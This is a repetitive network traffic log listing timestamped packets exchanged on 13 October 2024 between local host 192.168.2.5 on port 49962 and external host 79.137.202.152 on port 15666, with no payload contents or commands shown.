Oct 13, 2024 01:40:44.867352009 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867372990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867412090 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867552042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867582083 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867598057 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867614031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867659092 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867687941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867738008 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867867947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867918015 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867990017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868005991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868021965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868051052 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868098021 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868242979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868259907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868278027 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868298054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868325949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868346930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868405104 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868644953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868662119 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868706942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868789911 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.868844032 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.868976116 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869005919 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869026899 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869059086 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869110107 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869127989 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869143963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869164944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869183064 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869185925 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869225025 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869236946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869242907 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869260073 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869281054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869303942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869369984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869421959 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869546890 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869601965 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.869867086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.869929075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870202065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870219946 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870235920 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870251894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870263100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870270967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870290041 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870316029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870347977 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870364904 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870379925 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870395899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870405912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870410919 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870434046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870455027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870634079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870651007 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870667934 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870688915 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870702982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870717049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870733976 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870744944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870752096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870790958 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870791912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870819092 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.870842934 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.870865107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.871068954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871125937 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.871150970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871167898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871210098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.871268988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871285915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871300936 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871319056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871323109 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.871335983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871346951 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.871375084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.871378899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871402979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.871445894 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872153997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872210979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872251987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872268915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872284889 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872306108 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872342110 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872459888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872490883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872507095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872514963 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872545958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872576952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872674942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872694969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872724056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872730970 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872767925 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.872900963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.872952938 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.873011112 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.873028040 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.873073101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.902792931 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.903353930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.903490067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.903526068 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908418894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908447981 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908495903 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908509970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908560038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908575058 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908602953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908629894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908678055 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908679962 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908705950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908725023 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908735037 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908747911 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908762932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908793926 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908817053 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908826113 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908854961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908881903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908888102 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908910990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908929110 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908929110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908960104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.908983946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.908987045 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909015894 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909019947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909034967 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909048080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909080029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909097910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909101009 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909126043 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909153938 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909157038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909181118 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909182072 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909209013 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909229994 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909231901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909261942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909286976 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909287930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909310102 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909317970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909341097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909347057 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.909368992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.909404039 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.951948881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.952498913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.952713966 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.952773094 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.000327110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.000838041 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.000978947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.001008987 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006052017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006108046 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006135941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006176949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006216049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006308079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006336927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006361008 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006386995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006387949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006417036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006442070 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006444931 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006474018 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006477118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006501913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006505013 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006530046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006531000 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006556034 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006560087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006587982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006592035 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006614923 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006640911 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006644964 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006675005 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006699085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006699085 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006731987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006757021 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006757975 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006786108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006791115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006814003 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006814003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006823063 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006843090 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006870031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006870031 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006900072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006901979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006927967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006930113 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006956100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006957054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.006966114 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.006985903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007011890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007014036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007020950 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007045031 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007067919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007071972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007077932 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007101059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007123947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007128954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007154942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007158041 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007184029 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007184982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007214069 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007214069 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007239103 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007246017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007270098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007273912 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007306099 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007319927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007327080 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007375002 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007376909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007426977 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007433891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007456064 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007478952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007483959 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007512093 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007514000 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007539988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007541895 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007569075 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007570028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007597923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007599115 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007608891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007628918 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007653952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007656097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007682085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007683992 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007707119 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007713079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007740021 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007745028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007767916 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007793903 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007797956 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007824898 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007827044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007857084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007857084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007889986 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007891893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007917881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007920027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007945061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007946968 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.007956982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.007977962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008002043 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008003950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008030891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008033037 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008061886 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008063078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008090019 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008095980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008100986 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008131981 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008157015 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008160114 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008188963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008191109 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008217096 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008218050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008245945 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008249044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008275032 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.008281946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008305073 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.008341074 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.011174917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.011234045 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013148069 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013278961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013283014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013308048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013325930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013370037 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.013376951 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.013398886 CEST	15666	49962	79.137.202.152	192.168.2.5
